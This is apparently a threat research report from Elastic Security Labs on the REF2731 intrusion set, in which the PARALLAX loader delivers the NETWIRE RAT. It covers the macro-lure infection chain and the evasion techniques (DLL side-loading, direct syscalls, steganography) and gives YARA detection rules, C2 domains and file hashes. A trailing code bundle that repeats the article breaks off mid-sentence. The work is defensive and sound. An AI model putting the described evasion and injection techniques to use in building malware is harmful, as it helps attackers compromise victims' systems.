nonfunctional and non-Office 365 Phillipino accounts. The seller, **rzkyo** , responded and the two debated what was purchased and what was delivered. The dispute was responded to by a moderator who attempted to resolve the issue.\n\n![Invoice email where gaza666 purchased infrastructure from rzkyo](/assets/images/exploring-the-ref2731-intrusion-set/image15.png)\n\n![Invoice where gaza666 is linked to chisholm.i@aol[.]com](/assets/images/exploring-the-ref2731-intrusion-set/image14.png)\n\nThe results of the dispute were not in the forum, but there were several screenshots where **rzkyo** showed **gaza666** and the moderators that the services they sold were functional.\n\n![SMTP credentials from rzkyo to gaza666](/assets/images/exploring-the-ref2731-intrusion-set/image27.png)\n\n![Setup of online SMTP testing service](/assets/images/exploring-the-ref2731-intrusion-set/image34.png)\n\n![Test from email spam accounts purchased from rzkyo](/assets/images/exploring-the-ref2731-intrusion-set/image11.png)\n\nWhile it is unknown if the infrastructure above that **gaza666** attempted to purchase from **rzkyo** was used in our observed campaigns (or ever used at all), but **gaza666** is associated with chisholm.i@aol[.]com, which was used to register septton[.]com, and septton[.]com was used as a NETWIRE C2 node in Campaign 1.\n\n![gaza666 involvement in NETWIRE C2 in Campaign 1](/assets/images/exploring-the-ref2731-intrusion-set/image39.jpg)\n\n**marketforce666** (marketforce666@yandex[.]com) and **gaza666** (chisholm.i@aol[.]com) share a relationship in that both emails were used in the registration of septton[.]com, which was used as a NETWIRE C2 domain for Campaign 1. The **666** term appended to **marketforce** and **gaza** could be another indicator of their relationship, but this could not be confirmed.\n\n## Diamond Model\n\nElastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between adversaries and victims of intrusions.\n\n![REF2731 diamond model](/assets/images/exploring-the-ref2731-intrusion-set/image8.png)\n\n## Observed Adversary Tactics and Techniques\n\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n\n- [Resource Development](https://attack.mitre.org/tactics/TA0042/)\n- [Initial Access](https://attack.mitre.org/tactics/TA0001/)\n- [Execution](https://attack.mitre.org/tactics/TA0002/)\n- [Persistence](https://attack.mitre.org/tactics/TA0003/)\n- [Privilege Escalation](https://attack.mitre.org/tactics/TA0004/)\n- [Defense Evasion](https://attack.mitre.org/tactics/TA0004/)\n- [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n\n### Techniques / Sub techniques\n\nTechniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.\n\n- [Acquire Infrastructure: Domains](https://attack.mitre.org/techniques/T1583/001/)\n- [Phishing: Attachment](https://attack.mitre.org/techniques/T1566/001/)\n- [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)\n- [Process Injection](https://attack.mitre.org/techniques/T1055/)\n- [Scheduled Task](https://attack.mitre.org/techniques/T1053/005/)\n- [Native API](https://attack.mitre.org/techniques/T1106/)\n- [Obfuscated Files or Information: Steganography](https://attack.mitre.org/techniques/T1027/003/)\n- [Abuse Elevation Control Mechanism: Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002/)\n\n## Detection\n\n### Detection Logic\n\nThe following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set.\n\n**Behavioral Rules**\n\n- [NetWire RAT Registry Modification](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_netwire_rat_registry_modification.toml)\n- [Remcos RAT Registry or File Modification](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_remcos_rat_registry_or_file_modification.toml)\n\n**Detection Rules**\n\n- [Persistence via Scheduled Job Creation](https://www.elastic.co/guide/en/security/current/persistence-via-scheduled-job-creation.html)\n- [Command Prompt Network Connection](https://www.elastic.co/guide/en/security/current/command-prompt-network-connection.html)\n\n**Signatures**\n\n- [Windows.Trojan.Parallax](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Parallax.yar)\n- [Windows.Trojan.Netwire](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Netwire.yar)\n- [Windows.Trojan.Remcos](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar)\n\n### YARA\n\nElastic Security has created YARA rules to identify this activity.\n\n```\nrule Windows_Trojan_Parallax_1 {\n meta:\n author = “Elastic Security”\n creation_date = \"2022-09-05\"\n last_modified = \"2022-09-15\"\n license = “Elastic License v2”\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Parallax\"\n threat_name = \"Windows.Trojan.Parallax\"\n strings:\n $COM_png = { B9 01 00 00 00 6B D1 00 C6 44 15 D4 83 B8 01 00 00 00 C1 E0 00 C6 44 05 D4 B6 B9 01 00 00 00 D1 E1 C6 44 0D D4 33 BA 01 00 00 00 6B C2 03 C6 44 05 D4 28 B9 01 00 00 00 C1 E1 02 C6 44 0D D4 36 BA 01 00 00 00 6B C2 05 C6 44 05 D4 6B B9 01 00 00 00 6B D1 06 C6 44 15 D4 90 B8 01 00 00 00 6B C8 07 C6 44 0D D4 97 }\n $png_parse = { 8B 4D ?? 8B 04 B8 85 C9 74 ?? 8B F1 90 8A 08 8D 40 ?? 88 0C 1A 42 83 EE ?? 75 ?? 8B 4D ?? 8B 45 ?? 47 3B 7D ?? 72 ?? }\n $config_func = { C7 45 F8 68 74 74 70 8B ?? ?? 8B 02 89 ?? ?? 6A 08 8D ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 08 8B ?? ?? 52 8D ?? ?? 50 8B ?? ?? 8B 51 0C FF D2 }\n $winnet_function = { B8 77 00 00 00 66 89 ?? ?? B9 69 00 00 00 66 89 ?? ?? BA 6E 00 00 00 66 89 ?? ?? B8 69 00 00 00 66 89 ?? ?? B9 6E 00 00 00 66 89 ?? ?? BA 65 00 00 00 66 89 ?? ?? B8 74 00 00 00 66 89 ?? ?? 33 C9 66 89 ?? ?? 8D ?? ?? 52 8B ?? ?? 8B 48 1C FF D1 }\n condition:\n $config_func or $winnet_function or $COM_png or $png_parse\n}\n\nrule Windows_Trojan_Parallax_2 {\n meta:\n author = “Elastic Security”\n creation_date = \"2022-09-08\"\n last_modified = \"2022-09-08\"\n license = “Elastic License v2”\n os = \"Windows\"\n arch = \"x86\"\n category_type = \"Trojan\"\n family = \"Parallax\"\n threat_name = \"Windows.Trojan.Parallax\"\n strings:\n $parallax_payload_strings_0 = \"[Ctrl +\" ascii wide fullword\n $parallax_payload_strings_1 = \"[Ctrl]\" ascii wide fullword\n $parallax_payload_strings_2 = \"Clipboard Start\" ascii wide fullword\n $parallax_payload_strings_3 = \"[Clipboard End]\" ascii wide fullword\n $parallax_payload_strings_4 = \"UN.vbs\" ascii wide fullword\n $parallax_payload_strings_5 = \"lt +\" ascii wide fullword\n $parallax_payload_strings_6 = \"lt]\" ascii wide fullword\n $parallax_payload_strings_7 = \".DeleteFile(Wscript.ScriptFullName)\" ascii wide fullword\n $parallax_payload_strings_8 = \".DeleteFolder\" ascii wide fullword\n $parallax_payload_strings_9 = \".DeleteFile \" ascii wide fullword\n $parallax_payload_strings_10 = \"Scripting.FileSystemObject\" ascii wide fullword\n $parallax_payload_strings_11 = \"On Error Resume Next\" ascii wide fullword\n $parallax_payload_strings_12 = \"= CreateObject\" ascii wide fullword\n $parallax_payload_strings_13 = \".FileExists\" ascii wide fullword\n condition:\n 7 of ($parallax_payload_strings_*)\n}\n```\n\n## PARALLAX Payload Extractor\n\nAutomating the payload extraction from PARALLAX is a key aspect when it comes to threat hunting as it gives visibility of the campaign and the malware deployed by the threat actors which enable us to discover new unknown samples in a timely manner.\n\nOur extractor takes either a directory of samples with **-d** option or **-f** for a single sample, You can use the **-o** switch to set the output directory of the payloads.\n\n![Payload extraction from a PARALLAX sample](/assets/images/exploring-the-ref2731-intrusion-set/image6.png)\n\nTo enable the community to further defend themselves against existing and new variants of the PARALLAX loader, we are making the payload extractor open source under the Apache 2 License. The payload extractor documentation and binary download can be accessed [here](https://www.elastic.co/security-labs/parallax-payload-extractor).\n\n## Conclusion\n\nIn the above research, we have analyzed the two campaigns that we’ve tracked using macro-embedded lure documents that download seemingly benign artifacts from the staging hosts on the Internet, and weaponize those artifacts to perform persistence, command and control, and remote access of an infected host.\n\nWe also highlighted the elements used to cluster the two campaigns together and how the campaigns can be used with analytical models to impose costs on the campaign owners.\n\n## References\n\nThe following were referenced throughout the above research:\n\n- [https://blog.morphisec.com/parallax-rat-active-status](https://blog.morphisec.com/parallax-rat-active-status)\n- [https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax](https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax)\n- [https://attack.mitre.org/software/S0198/](https://attack.mitre.org/software/S0198/)\n- [https://attack.mitre.org/groups/G0120/](https://attack.mitre.org/groups/G0120/)\n- [https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum](https://malpedia.caad.fkie.fraunhofer.de/actor/evilnum)\n- [http://blog.nsfocus.net/darkcasino-apt-evilnum/](http://blog.nsfocus.net/darkcasino-apt-evilnum/)\n\n## Indicators\n\nArtifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltc090b3574bb4e7be/633615e4a920fd42f67e7534/ref2731-indicators.zip) in both ECS and STIX format in a combined zip bundle.\n\n| Name | STIX 2.1 Indicator Type | Identifier |\n| ---------------------------------------------------------------- | ----------------------- | ------------------------------------------------- |\n| bc9f19ae835d975de9aaea7d233b6ea9b2bc30f80d192af2e8e68542b588917e | SHA-256 | Brian_Tax_Docs.doc lure document |\n| d70365481fb4806130743afd199697eb981a0eb2756754ecc548f5b30c2203a5 | SHA-256 | VIRGINIA-TAX-RETURN-2021-US-EXT.doc lure document |\n| 9dd709cb989d985a6cfee4a254f894a3b878a03962dbf253cb09a24ece455d58 | SHA-256 | All Docs.doc lure document |\n| 16227f50bbe42a13a2abf0bf0e146f356863de59525c54909ea8ccc2db448f77 | SHA-256 | msi.dll PARALLAX loader / NETWIRE |\n| 0c8c431a1f589fdcf453c7afada63c2e2e2a887e49abdbb222983fa6044fdf66 | SHA-256 | cs16.wav (shellcode) |\n| 6ed65beb692301af5296ba6751063ae40e91c4e69ced43560c67ce58165c36b5 | SHA-256 | cs16.cfg (config for PNG stage) |\n| 5f259757741757c78bfb9dab2cd558aaa8403951c1495dc86735ca73c33d877f | SHA-256 | paper.png (stager for NETWIRE) |\n| 321d840a23b54bb022ff3a5dcac837e7aec14f66e3ec5e6da5bfeebec927a46c | SHA-256 | 2021-EXTENSION.doc lure document |\n| 443879ee2cb3d572bb928d0831be0771c7120968e442bafe713a6e0f803e8cd9 | SHA-256 | msvcr100.dll PARALLAX loader / NETWIRE |\n| globalartisticservices[.]com | domain-name | PARALLAX loader domain |\n| DigitalRotPrevention[.]com | domain-name | PARALLAX loader domain |\n| InternationalMusicServices[.]com | domain-name | PARALLAX loader domain |\n| ywiry[.]com | domain-name | NETWIRE C2 domain |\n| ohioohioa[.]com | domain-name | NETWIRE C2 domain |\n| septton[.]com | domain-name | NETWIRE C2 domain |\n| solro14.s3.ap-northeast-3.amazonaws[.]com | domain-name | PARALLAX loader domain |\n| mikemikemic[.]com | domain-name | Domains registered by marketforce666@yandex[.]com |\n| ppl-biz[.]com | domain-name | Domains registered by marketforce666@yandex[.]com |\n| opnarchitect[.]net | domain-name | Domains registered by marketforce666@yandex[.]com |\n| micsupportcenter[.]com | domain-name | PARALLAX loader domain |\n| russnet123@protonmail[.]com | email-addr | PARALLAX loader domain registration email address |\n| chisholm.i@aol[.]com | email-addr | NETWIRE C2 domain registration email address |\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var f=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),w=(i,e)=\u003e{for(var t in e)r(i,t,{get:e[t],enumerable:!0})},d=(i,e,t,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of g(e))!u.call(i,a)\u0026\u0026a!==t\u0026\u0026r(i,a,{get:()=\u003ee[a],enumerable:!(o=m(e,a))||o.enumerable});return i};var b=(i,e,t)=\u003e(t=i!=null?h(p(i)):{},d(e||!i||!i.__esModule?r(t,\"default\",{value:i,enumerable:!0}):t,i)),y=i=\u003ed(r({},\"__esModule\",{value:!0}),i);var l=f((R,s)=\u003e{s.exports=_jsx_runtime});var x={};w(x,{default:()=\u003eT,frontmatter:()=\u003ev});var n=b(l()),v={title:\"Exploring the REF2731 Intrusion Set\",slug:\"exploring-the-ref2731-intrusion-set\",date:\"2022-12-06\",subtitle:\"REF2731 intrusion set, campaigns, and malware observations\",description:\"The Elastic Security Labs team has been tracking REF2731, an 5-stage intrusion set involving the PARALLAX loader and the NETWIRE RAT.\",author:[{slug:\"salim-bitam\"},{slug:\"daniel-stepanic\"},{slug:\"seth-goodwin\"},{slug:\"andrew-pease\"}],image:\"ref-intrusion.jpg\",category:[{slug:\"campaigns\"},{slug:\"attack-pattern\"},{slug:\"malware-analysis\"}],tags:[\"ref2731\",\"parallax\",\"netwire\"]};function c(i){let e=Object.assign({h2:\"h2\",ul:\"ul\",li:\"li\",p:\"p\",a:\"a\",blockquote:\"blockquote\",ol:\"ol\",strong:\"strong\",img:\"img\",h3:\"h3\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\",h4:\"h4\",code:\"code\",pre:\"pre\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key Takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"PARALLAX loader maldoc campaigns continue to have success delivering the NETWIRE RAT.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The PARALLAX loader leverages advanced features including DLL-side loading, syscall usage, process, and steganography.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Shared infrastructure can be used to stitch campaigns and intrusion sets together.\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The Elastic Security Labs team has been tracking REF2731, an intrusion set involving the \",(0,n.jsx)(e.a,{href:\"https://twitter.com/malwrhunterteam/status/1227196799997431809\",rel:\"nofollow\",children:\"PARALLAX loader\"}),\" which deploys the NETWIRE RAT. This activity has managed to stay under the radar with low detection rates and continues to incorporate interesting techniques such as DLL side-loading, syscall adoption, process injection, and leveraging steganography.\"]}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.parallax\",rel:\"nofollow\",children:\"PARALLAX\"}),\" is a full-featured modal backdoor and loader featuring defense evasion and information on stealing capabilities, first observed in 2020 and associated with COVID-19 malspam campaigns. \",(0,n.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.netwire\",rel:\"nofollow\",children:\"NETWIRE\"}),\" is a mature and cross-platform RAT that was first observed in 2012\"]}),`\n`,(0,n.jsx)(e.p,{children:\"In this research publication, we will go through the execution flow of one of the observed campaigns, the different features of the PARALLAX loader, technical analysis around the campaigns, campaign intersections, detection logic, and atomic indicators.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"execution-flow-parallax-loader\",children:\"Execution Flow (PARALLAX loader)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"The Elastic Security Labs team has been monitoring multiple campaigns over the past year leveraging the \",(0,n.jsx)(e.a,{href:\"https://blog.morphisec.com/parallax-rat-active-status\",rel:\"nofollow\",children:\"PARALLAX loader\"}),\". PARALLAX has multiple capabilities and use cases. This analysis observed the PARALLAX loader being used to load other remote access tools (the NETWIRE RAT). Using our PARALLAX payload extractor, we have also observed the PARALLAX loader being used to load the PARALLAX RAT for interactive remote access. These infections typically start through email spam campaigns delivering macro-enabled lure documents.\"]}),`\n`,(0,n.jsxs)(e.blockquote,{children:[`\n`,(0,n.jsxs)(e.p,{children:[\"On July 27, 2022, Microsoft began rolling out a \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked\",rel:\"nofollow\",children:\"change to Office documents\"}),\" that will prevent users from opening macros in files that came from the Internet, such as email attachments. We have not observed a change in TTPs based on this update from this intrusion set. Our sampling for this research of macro-enabled Word documents started in March of 2022 and continued through August 2022.\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"High-level summary of the execution flow:\"}),`\n`,(0,n.jsxs)(e.ol,{children:[`\n`,(0,n.jsx)(e.li,{children:\"An email is sent to a victim with a macro-enabled Microsoft Word document attachment.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The macro downloads malicious files used for DLL-side loading and injection.\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"The Microsoft developer tool ( \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" ) sideloads the malicious ( \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" ).\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"This malicious DLL drops and decrypts a WAV file ( \",(0,n.jsx)(e.strong,{children:\"cs16.wav\"}),\" ) before injecting the contents (shellcode) into \",(0,n.jsx)(e.strong,{children:\"cmd.exe\"}),\".\"]}),`\n`,(0,n.jsxs)(e.li,{children:[\"The injected shellcode is used to extract the NETWIRE RAT and set up the PARALLAX loader from a dropped image ( \",(0,n.jsx)(e.strong,{children:\"paper.png\"}),\" ) and inject into \",(0,n.jsx)(e.strong,{children:\"cmd.exe.\"})]}),`\n`,(0,n.jsx)(e.li,{children:\"A scheduled task is used to establish persistence for the PARALLAX RAT.\"}),`\n`,(0,n.jsx)(e.li,{children:\"The NETWIRE payload is then executed and sets up its own persistence mechanism.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image30.png\",alt:\"Execution flow diagram\",width:\"1440\",height:\"1186\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"first-stage-luremacro\",children:\"First Stage (lure/macro)\"}),`\n`,(0,n.jsx)(e.p,{children:\"The first stage in these campaigns involves macro-enabled lure documents typically with themes around United States tax filings.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image9.jpg\",alt:\"Image from lure document walking victim through enabling macros\",width:\"837\",height:\"1161\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"In this lure, we observed legitimate code lifted from the \",(0,n.jsx)(e.a,{href:\"https://www.gnu.org/software/glpk/\",rel:\"nofollow\",children:\"GLPK\"}),\" (GNU Linear Programming Kit) used to bypass static analysis of the macro. The malicious code is then interwoven within the macro making it look very genuine and more deceptive.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image12.jpg\",alt:\"Legitimate code from GLPK used in macro\",width:\"699\",height:\"506\"})}),`\n`,(0,n.jsx)(e.p,{children:\"This approach to obfuscation is also observed when critical components used for the next stage are not stored in the macro itself but called from text buried several pages deep within the lure document.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image1.jpg\",alt:\"Download components embedded as text\",width:\"625\",height:\"382\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The macro parses the embedded paragraph text on page three of the lure document and locates the object names and next stage components based on their string length. This is a clever technique to avoid detection based on static analysis of the macro (green text comments added to the images below by ESL for clarity).\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image25.jpg\",alt:\"VBA code parsing\",width:\"694\",height:\"249\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The macro then uses the \",(0,n.jsx)(e.strong,{children:\"CreateObject\"}),\" function to create the required objects and download each of the malware components, saving them to the \",(0,n.jsx)(e.strong,{children:\"AppData\"}),\" directory of the current user.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image26.jpg\",alt:\"VBA code to create objects\",width:\"1087\",height:\"185\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"It then executes \",(0,n.jsx)(e.strong,{children:\"AppData\\\\MsiDb.exe\"}),\" through the created \",(0,n.jsx)(e.strong,{children:\"wscript.shell\"}),\" object.\"]}),`\n`,(0,n.jsx)(e.p,{children:\"For this observed lure, the five components that are downloaded for the next stage as identified in the embedded text image above are:\"}),`\n`,(0,n.jsx)(e.div,{className:\"table-container\",children:(0,n.jsxs)(e.table,{children:[(0,n.jsx)(e.thead,{children:(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.th,{children:\"Filename\"}),(0,n.jsx)(e.th,{children:\"Description\"})]})}),(0,n.jsxs)(e.tbody,{children:[(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"MsiDb.exe\"}),(0,n.jsx)(e.td,{children:\"Legitimate Microsoft development application used to import/export database tables and streams\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"msi.dll\"}),(0,n.jsx)(e.td,{children:\"Malicious DLL used for side-loading\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"cs16.wav\"}),(0,n.jsx)(e.td,{children:\"XOR encrypted shellcode\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"paper.png\"}),(0,n.jsx)(e.td,{children:\"Obfuscated NETWIRE and additional PARALLAX loader stager\"})]}),(0,n.jsxs)(e.tr,{children:[(0,n.jsx)(e.td,{children:\"cs16.cfg\"}),(0,n.jsx)(e.td,{children:\"Configuration containing the location of the next execution stage png file, it can either be local or hosted in a remote server\"})]})]})]})}),`\n`,(0,n.jsx)(e.h3,{id:\"second-stage-msidbexe\",children:\"Second Stage (MsiDb.exe)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"One of the key strengths in these campaigns is its ability to bypass static detection by modifying legitimate DLLs, a common trend previously reported with the BLISTER loader analysis [\",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/blister-loader\",rel:\"nofollow\",children:\"1\"}),\", \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign\",rel:\"nofollow\",children:\"2\"}),\"]. Once all the components are retrieved, the macro executes the signed Microsoft development tool ( \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" ) to load the previously downloaded malicious library ( \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" ).\"]}),`\n`,(0,n.jsx)(e.p,{children:\"When the campaign began in September of 2022, this DLL had zero detections in VirusTotal due to its DLL tampering technique where a slight modification of a benign function is overwritten with the second stage.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image35.jpg\",alt:\"0 detection rate on initial upload in VirusTotal\",width:\"1230\",height:\"262\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"When ( \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" ) sideloads the malicious ( \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" ) module, we can see the difference between the patched and unpatched version of \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image36.jpg\",alt:\"Comparison between the original and the patched msi.dll function\",width:\"1333\",height:\"644\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"During this loading stage, the malicious code is heavily obfuscated and leverages \",(0,n.jsx)(e.a,{href:\"https://unprotect.it/technique/api-obfuscation/\",rel:\"nofollow\",children:\"dynamic API resolution\"}),\" to bypass static analysis tools and processes. It performs this using two functions:\"]}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"One function is used to retrieve library addresses using the CRC32 checksum hash of the requested library name.\"}),`\n`,(0,n.jsx)(e.li,{children:\"Another function is used to take the address of the library and the hash of the API name.\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image21.jpg\",alt:\"Malicious code performing dynamic API resolution\",width:\"601\",height:\"105\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The malware then builds its own import table, storing it on the stack. An interesting aspect is that the malicious code performs an anti-analysis check to see if the current process name matches the targeted application ( \",(0,n.jsx)(e.strong,{children:\"MsiDb.exe\"}),\" ), if it doesn\\u2019t match, the malware will stop at this stage. This check will hinder automated dynamic analysis systems that might try to analyze \",(0,n.jsx)(e.strong,{children:\"msi.dll\"}),\" in isolation by executing it with other common applications such as \",(0,n.jsx)(e.strong,{children:\"rundll32.exe\"}),\" or \",(0,n.jsx)(e.strong,{children:\"regsvr32.exe\"}),\".\"]}),`\n`,(0,n.jsxs)(e.p,{children:[\"Next, the malware will load \",(0,n.jsx)(e.strong,{children:\"cs16.wav\"}),\" and XOR-decrypt it using a key embedded in the file. The key resides in the 200 bytes following the first 4 bytes of the file (bytes 5-204).\"]}),`\n`,(0,n.jsx)(e.p,{children:\"The malware will then execute the shellcode inside the decrypted WAV file.\"}),`\n`,(0,n.jsx)(e.h3,{id:\"third-stage-shellcode\",children:\"Third Stage (shellcode)\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"To evade user mode hooks utilized by EDR/AV products and as debugger breakpoints, the malware uses direct system calls to low-level APIs used for process injection. It performs this by first \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/memory/file-mapping\",rel:\"nofollow\",children:\"mapping a file view\"}),\" of the Windows \",(0,n.jsx)(e.strong,{children:\"ntdll.dll\"}),\" library from the System directory.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image40.jpg\",alt:\"NTDLL mapping\",width:\"1394\",height:\"402\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"It then retrieves the API offset by subtracting the API address from the loaded base address of the loaded \",(0,n.jsx)(e.strong,{children:\"ntdll.dll\"}),\" , then finally it will use the offset from the mapped \",(0,n.jsx)(e.strong,{children:\"ntdll.dll\"}),\" and extract the syscall number.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image23.jpg\",alt:\"Extracting the syscall number\",width:\"1440\",height:\"135\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"After this, the loader uses the \",(0,n.jsx)(e.a,{href:\"https://www.zdnet.com/article/malware-authors-are-still-abusing-the-heavens-gate-technique/\",rel:\"nofollow\",children:\"Heaven\\u2019s Gate technique\"}),\" and performs injection in the suspended \",(0,n.jsx)(e.strong,{children:\"cmd.exe\"}),\" process leveraging native Windows \",(0,n.jsx)(e.strong,{children:\"ZwAllocateVirtualMemory\"}),\" , \",(0,n.jsx)(e.strong,{children:\"ZwWriteVirtualMemory,\"}),\" and \",(0,n.jsx)(e.strong,{children:\"ZwResumeThread\"}),\" API functions.\"]}),`\n`,(0,n.jsx)(e.h3,{id:\"fourth-stage\",children:\"Fourth Stage\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"One interesting technique observed during this stage is through the use of a dropped file ( \",(0,n.jsx)(e.strong,{children:\"cs16.cfg\"}),\" ). The file is a legitimate Python header file and is prepended with the next stage file name ( \",(0,n.jsx)(e.strong,{children:\"paper.png\"}),\" ). In our observations, these point to local files previously downloaded but also has the flexibility to point to hosted objects. This is another example of using benign code to obfuscate more malicious intent.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image20.jpg\",alt:\"Prepending paper.png to cs16.cfg\",width:\"835\",height:\"457\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"If the first string of ( \",(0,n.jsx)(e.strong,{children:\"cs16.cfg\"}),\" ) points to a hosted file, it uses the \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager\",rel:\"nofollow\",children:(0,n.jsx)(e.strong,{children:\"IBackgroundCopyManager\"})}),\" Component Object Model (COM) interface to download a PNG file and store it on disk ( \",(0,n.jsx)(e.strong,{children:\"paper.png\"}),\" in our example).\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image38.jpg\",alt:\"Downloading the PNG file using BITS\",width:\"1028\",height:\"502\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The malware extracts a configuration structure from the stenographically-obfuscated PNG that contains the next PARALLAX loader stage and the final payload; in our sample, we identified the final payload as the NETWIRE RAT, but this process could be used to deliver other payloads.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/exploring-the-ref2731-intrusion-set/image7.jpg\",alt:\"Stenographically obfuscated PNG file\",width:\"829\",height:\"829\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The malware executes position independent shellcode that reads and decodes the PNG file, it first extracts the red pixel bytes to an array by parsing the PNG, then decompresses the data with the \",(0,n.jsx)(e.a,{href:\"https://www.winzip.com/en/learn/tips/what-is-lzma/\",rel:\"nofollow\",children:\"LZMA 